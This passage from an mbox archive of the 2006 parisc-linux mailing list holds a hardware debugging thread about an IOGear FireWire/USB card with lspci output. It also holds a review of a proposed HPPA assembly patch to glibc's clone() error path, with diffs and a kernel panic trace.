        ldil LR'.LC1,%r26
        bl puts,%r2
        ldo RR'.LC1(%r26),%r26
        ldw -84(%r30),%r2
        ldi -1,%r28
        bv %r0(%r2)
        ldo -64(%r30),%r30
.L7:
[snip]

TIA for addtional attention,
    Joel




=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Frost <chris@frostnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Thu, 30 Mar 2006 00:02:02 -0800
Lines: 118
Approved: news@gmane.org
Message-ID: <20060330080202.GE5336@pooh.bubble.frostnet.net>
References: <20060329093444.GA5593@pooh.bubble.frostnet.net>
	<20060329135838.GL9011@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="TB36FDmn/VVEgNH/"
X-Trace: ger.gmane.org 1416624035 18730 80.91.229.3 (22 Nov 2014 02:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2006 08:02:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 30 Mar 2006 10:02:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9BBF7D6BA;
	Thu, 30 Mar 2006 01:02:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25089-09; Thu, 30 Mar 2006 01:02:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A35117D6BC;
	Thu, 30 Mar 2006 01:02:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E35D47D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 01:02:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25089-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 01:02:10 -0700 (MST)
Original-Received: from smtp-1.smtp.ucla.edu (smtp-1.smtp.ucla.edu [169.232.46.136])
	by free.linux.hp.com (Postfix) with ESMTP id 131067D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 01:02:10 -0700 (MST)
Original-Received: from mail.ucla.edu (mail.ucla.edu [169.232.47.146])
	by smtp-1.smtp.ucla.edu (8.13.6/8.13.6) with ESMTP id k2U826Rf000955;
	Thu, 30 Mar 2006 00:02:08 -0800
Original-Received: from pooh.orion.frostnet.net (Cs-33-121.CS.UCLA.EDU [131.179.33.121])
	(authenticated bits=0)
	by mail.ucla.edu (8.13.6/8.13.6) with ESMTP id k2U825rB011378
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT);
	Thu, 30 Mar 2006 00:02:06 -0800
Original-Received: from chris by pooh.orion.frostnet.net with local (Exim 4.50)
	id 1FOs6V-00040O-Cc; Thu, 30 Mar 2006 00:02:03 -0800
Content-Disposition: inline
In-Reply-To: <e6eae0290603290942o79a2990bma9faa8ef527c1243@mail.gmail.com>
X-PGP-Key: Send email with subject 'retrieve pgp key'
X-PGP-Fingerprint: Send email with subject 'retrieve pgp fingerprint'
User-Agent: Mutt/1.5.10i
X-Probable-Spam: no
X-Spam-Hits: 0.05
X-Spam-Report: FORGED_RCVD_HELO
X-Scanned-By: smtp.ucla.edu on 169.232.46.136
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: u6UZfMsvPjlt6urBOTU2MTEzMTE2NUkw
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23511


--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Mar 29, 2006 at 08:58:38AM -0500, Kyle McMartin wrote:
> lspci -vn for the card, please...

Attached (pci) is the output of lspci -vvv. The vendor and device codes
are immediately below. As the machine does not boot with the card in the
lspci output is from a pc.

0:d.0: class 604, vendor id 3388, pci id 0021, rev 13
1:c.0: class 0c03, vendor id 1033, pci id 0035, rev 41
1:c.1: class 0c03, vendor id 1033, pci id 0035, rev 41
1:c.2: class 0c03, vendor id 1033, pci id 00e0, rev 2
1:f.0: class 0c00, vendor id 1003, pci id 00f2, rev 1


> Try commenting out 
> 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_USB) },
> 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415) },
> in superio.c and seeing if that helps at all.

This change appears to have no effect.


Max suggested checking the machine's firmware version. It was running 3.4.
I upgraded the machine to the latest, 5.0, but this has no visible effect.


Since 2.6.16-pa9 was released today I also upgraded to it, but with no
visible change.

thanks again,
-- 
Chris Frost  |  <http://www.frostnet.net/chris/>
-------------+----------------------------------
Public PGP Key:
   Email chris@frostnet.net with the subject "retrieve pgp key"
   or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>

--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=pci

00:0d.0 PCI bridge: Hint Corp: Unknown device 0021 (rev 13) (prog-if 00 [Normal decode])
	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B-
	Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
	Latency: 66, cache line size 08
	Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
	I/O behind bridge: 0000f000-00000fff
	Memory behind bridge: ff900000-ff9fffff
	Prefetchable memory behind bridge: 00000000ff800000-00000000ff800000
	BridgeCtl: Parity+ SERR+ NoISA- VGA- MAbort- >Reset- FastB2B-
	Capabilities: [80] Power Management version 2
		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
		Bridge: PM- B3+
	Capabilities: [90] #06 [0000]
	Capabilities: [a0] Vital Product Data

01:0c.0 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
	Subsystem: Unknown device 1735:0035
	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
	Latency: 64 (250ns min, 10500ns max), cache line size 08
	Interrupt: pin A routed to IRQ 7
	Region 0: Memory at ff9fc000 (32-bit, non-prefetchable) [size=4K]
	Capabilities: [40] Power Management version 2
		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
		Status: D0 PME-Enable- DSel=0 DScale=0 PME-

01:0c.1 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
	Subsystem: Unknown device 1735:0035
	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
	Latency: 64 (250ns min, 10500ns max), cache line size 08
	Interrupt: pin B routed to IRQ 5
	Region 0: Memory at ff9fd000 (32-bit, non-prefetchable) [size=4K]
	Capabilities: [40] Power Management version 2
		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
		Status: D0 PME-Enable- DSel=0 DScale=0 PME-

01:0c.2 USB Controller: NEC Corporation: Unknown device 00e0 (rev 02) (prog-if 20)
	Subsystem: Unknown device 1735:00e1
	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
	Latency: 64 (4000ns min, 8500ns max), cache line size 08
	Interrupt: pin C routed to IRQ 11
	Region 0: Memory at ff9fec00 (32-bit, non-prefetchable) [size=256]
	Capabilities: [40] Power Management version 2
		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
		Status: D0 PME-Enable- DSel=0 DScale=0 PME-

01:0f.0 FireWire (IEEE 1394): NEC Corporation: Unknown device 00f2 (rev 01) (prog-if 10 [OHCI])
	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
	Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
	Latency: 64 (63750ns min, 63750ns max), cache line size 08
	Interrupt: pin A routed to IRQ 9
	Region 0: Memory at ff9ff000 (32-bit, non-prefetchable) [size=4K]
	Capabilities: [60] Power Management version 2
		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
		Status: D0 PME-Enable- DSel=0 DScale=0 PME-

--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--TB36FDmn/VVEgNH/--



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: hppa glibc clone() patch proposal (3/3)
Date: Thu, 30 Mar 2006 16:08:05 +0100
Lines: 172
Approved: news@gmane.org
Message-ID: <IWY4PH$66A7B7349BAF4B2D0043D5D9DC7413F8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624035 18738 80.91.229.3 (22 Nov 2014 02:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "randolph" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2006 15:08:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 30 Mar 2006 17:08:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4015E7D6DF;
	Thu, 30 Mar 2006 08:08:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28609-07; Thu, 30 Mar 2006 08:08:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F37627D6DA;
	Thu, 30 Mar 2006 08:08:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51A707D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 08:08:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28573-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 08:08:20 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 2060F7D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 08:08:19 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k2UF86Y06765; 
	Thu, 30 Mar 2006 17:08:06 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QswecAIFRkkei6uPfGRqamFmdWkvKJPp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23512

Hello Randolph, Carlos,

> Joel,
> 
> Some comments:
> 
> 1) I think you are right in fixing the first __syscall_error call. I
> don't know why we are doing a b instead of bl now. It seems to be that
> the current code will result in an orphaned stack frame if we ever
> errored out. However, I see that in the other syscalls, the call to
> __syscall_error is inlined. Maybe that would be better.....
> 
> 2)
> >          .text
> >  ENTRY(__clone)
> > +    /* this proto do: stw rp, -20(sp) */
> 
> Yes, you should put "stw %rp, -20(%sp)" here.
> 
> > +       /* FIXME: I have no idea how profiling works on hppa. */
> 
> Let's leave profiling out of this for now....
> 
> > +       /* Sanity check arguments.  */
> > +       comib,=3D         0, %arg0, .Larg_error   /* no NULL function=

> > pointers */
> > +       ldi             -EINVAL, %ret0
> > +       comib,=3D         0, %arg1, .Larg_error   /* no NULL stack
> > pointers */
> > +       nop
> 
> There seems to be some confusion here....
> 
> You want clone() to return -1, and set errno =3D -EINVAL. The logic to =
do
> this is in .Larg_error. Probably better here to just detect the two
> error conditions and branch to .Larg_error and handle all the logic the=
re.
> 
> >         /* Save the fn ptr and arg on the new stack.  */
> >         stwm            %arg0, 64(%arg1)
> > @@ -94,13 +102,35 @@
> >  #endif
> >         /* Set errno */
> >         copy            %ret0, %r3
> > -       b               __syscall_error
> > +       bl              __syscall_error, %rp
> >         sub             %r0, %ret0, %arg0
> >         copy            %r3, %ret0
> >         /* Return after setting errno */
> > +       /* Restore rp from ENTRY() */
> > +       ldw             -84(%sp), %rp
> 
> Right now since you don't store rp, this will give you junk.
> 
> > +.Larg_error:
> > +
> > +       /* Save arg0: the fn ptr.  */
> > +       stw             %arg0, -36(%sp)
> 
> In the error case, you don't invoke the function, so no need to save an=
d
> restore arg0.
> 
> > +       /* Save the PIC register? */
> > +       stwm            %r3, 64(%sp)
> 
> r3 is just a caller-save register; it has nothing to do with PIC. You
> don't need to use r3 in this path; just create a stack frame with:
> 	ldo 64(%sp), %sp
> 
So excepted this above stuff (for which I didn't yet understand the pb) a=
nd
inlining __syscall_error() (not yet enough knowledge to do), ...

> > +       /* Set errno */
> > +       copy            %ret0, %r3
> > +       bl              __syscall_error, %rp
> > +       sub             %r0, %ret0, %arg0
> 
> Here, I think you want to do (or inline the __syscall_error logic):
> 	bl __syscall_error, %rp
> 	ldi EINVAL, %arg0
> 	ldi -1, %ret0
> 
> > +       /* Restore arg0: the fn ptr.  */
> > +       ldw             -100(%sp), %arg0
> > +       /* Return after setting errno */
> > +       /* Restore rp from ENTRY() */
> > +       ldw             -84(%sp), %rp
> > +       bv              %r0(%rp)
> > +       ldwm            -64(%sp), %r3
> 
> and here you can just do:
> 	ldw -84(%sp), %rp
> 	bv %r0(%rp)
> 	ldo -64(%sp), %sp
> 
here is the last proposal:
--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S.orig2      2006-03-2=
4
10:11:27.000000000 +0100
+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S    2006-03-30
13:56:56.000000000 +0200
@@ -45,7 +45,30 @@
 
         .text
 ENTRY(__clone)
+    /* this ENTRY() macro do: stw rp, -20(sp)
+       and "FIXME: I have no idea how profiling works on hppa." */
 
+       /* Sanity check arguments.  */
+       comib,=3D         0, %arg0, .Larg_error           /* no NULL func=
tion
pointers */
+       nop
+       comib,<>,n      0, %arg1, .Lno_arg_error        /* no NULL stack
pointers */
+       nop
+
+.Larg_error:
+       /* Create a stack frame */
+       stwm            %r3, 64(%sp)
+       /* Set errno */
+       bl              __syscall_error, %rp
+       ldi             EINVAL, %arg0
+/*     ldi             -1, %ret0 */
+
+       /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
+       bv              %r0(%rp)
+       ldwm            -64(%sp), %r3
+
+.Lno_arg_error:
        /* Save the fn ptr and arg on the new stack.  */
        stwm            %arg0, 64(%arg1)
        stw             %arg3, -60(%arg1)
@@ -94,10 +117,12 @@
 #endif
        /* Set errno */
        copy            %ret0, %r3
-       b               __syscall_error
+       bl              __syscall_error, %rp
        sub             %r0, %ret0, %arg0
        copy            %r3, %ret0
        /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
        bv              %r0(%rp)
        ldwm            -64(%sp), %r3
 
=3D=3D=3D=3D<>=3D=3D=3D=3D

May be should I still put the:
+       /* Create a stack frame */
+       stwm            %r3, 64(%sp)

in the delay slot of the first cmpib,=3D (on going to test ...)

Thanks,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] What's the right way to create a new stack in glibc?
Date: Thu, 30 Mar 2006 16:53:13 +0100
Lines: 133
Approved: news@gmane.org
Message-ID: <IWY6SP$0D4147158F89214AB5A7DCA3E9285CC1@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624035 18744 80.91.229.3 (22 Nov 2014 02:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "soete.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2006 15:53:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 30 Mar 2006 17:53:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BFC37D6E2;
	Thu, 30 Mar 2006 08:53:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28790-09; Thu, 30 Mar 2006 08:53:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BF2F7D6E4;
	Thu, 30 Mar 2006 08:53:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88A4C7D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 08:53:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28790-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 08:53:23 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 5FB167D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Mar 2006 08:53:23 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k2UFrCY20004; 
	Thu, 30 Mar 2006 17:53:12 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YZNALCV0TlIvsreQeGhrSVVGU2poZdnE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23513

> Hello Randoplh, Carlos,
> 
> May be can you give me some more light.
> 
> I was testing all rational changes suggested by tausq in last mail abou=
t
> clone() patch but it was broken. A first one was of mine I sadly confus=
e
> boolean and bit  insn, after a fix it was still broken ;<(. I so come b=
ack
> step by step to a working situation and noticed that:
> this hunk made panicing kernel:
> [snip]    
> .Larg_error:
> 
>        /* Create a stack frame */
>        ldo             64(%sp), %sp
> 
>        /* Set errno */
>        bl              __syscall_error, %rp
>        sub             %r0, %ret0, %arg0
> 
>        /* Return after setting errno */
>        /* Restore rp from ENTRY() */
>        ldw             -84(%sp), %rp
>        bv              %r0(%rp)
>        ldo             -64(%sp), %sp
> [snip]
> clone04(2665): unaligned access to 0xfffffffa at ip=3D0x00011027
> clone04(2665): unaligned access to 0xfffffffa at ip=3D0x0001105f
> clone04(2665): unaligned access to 0xfffffffa at ip=3D0x00011177
> clone04(2665): unaligned access to 0xfffffffa at ip=3D0x0001117f
> Unaligned handler failed, ret =3D -2
> clone04 (pid 2665): Unaligned data reference (code 28) at 0001119b
> kernel BUG at /CAD/linux-2.6.16-pa8/mm/mmap.c:1957!
> Backtrace:
>  [<10158848>] exit_mmap+0x178/0x330
>  [<101235a4>] mmput+0x44/0xb8
>  [<101281e0>] do_exit+0x12c/0x8a0
>  [<101289b8>] do_group_exit+0x64/0xc4
>  [<1010b114>] syscall_exit+0x0/0x14
> 
> Kernel panic - not syncing: BUG!
> 
mmm, having a look at the clone04.s, I can read:
[...]
main:
        .PROC
        .CALLINFO FRAME=3D128,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=3D5
        .ENTRY
        stw %r2,-20(%r30)
.LCFI0:
        copy %r3,%r1
.LCFI1:
        copy %r30,%r3
.LCFI2:
        stwm %r1,128(%r30)
.LCFI3:
        stw %r5,24(%r3)
.LCFI4:
        stw %r4,28(%r3)
.LCFI5:
[snip]

That doesn't explain why the system panic but may be why save/restore r3 =
help?

> OTH, this hunk was working:
> [snip]
> .Larg_error:
> 
>         /* Create a stack frame */
>         stwm            %r3, 64(%sp)
> 
>         /* Set errno */
>         bl              __syscall_error, %rp
>         sub             %r0, %ret0, %arg0
> 
>         /* Return after setting errno */
>         /* Restore rp from ENTRY() */
>         ldw             -84(%sp), %rp
>         bv              %r0(%rp)
>         ldwm            -64(%sp), %r3
> [snip]
> 
> Even though that's well what does gcc when I compile this sample:
> [snip]
> int sclone(unsigned long Val1, unsigned long Val2)
> {
>   if ((( Val1) && (Val2))) {
>     printf ("Ok ;-)\n");
>     return 0;
>   } else { 
>     printf ("Ko ;-(\n");
>     return -1;
>   } 
> };
> [snip]
> 
> # gcc --save-temps -O2 foo.c
> more foo.s
> [snip]
> sclone:
>         .PROC
>         .CALLINFO FRAME=3D64,CALLS,SAVE_RP
>         .ENTRY
>         stw %r2,-20(%r30)
>         comib,=3D 0,%r26,.L2
>         ldo 64(%r30),%r30
>         comib,<>,n 0,%r25,.L7
> .L2:
>         ldil LR'.LC1,%r26
>         bl puts,%r2
>         ldo RR'.LC1(%r26),%r26
>         ldw -84(%r30),%r2
>         ldi -1,%r28
>         bv %r0(%r2)
>         ldo -64(%r30),%r30
> .L7:
> [snip]
> 
Thank again,
    Joel
=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git patches] Please pull on parisc tree
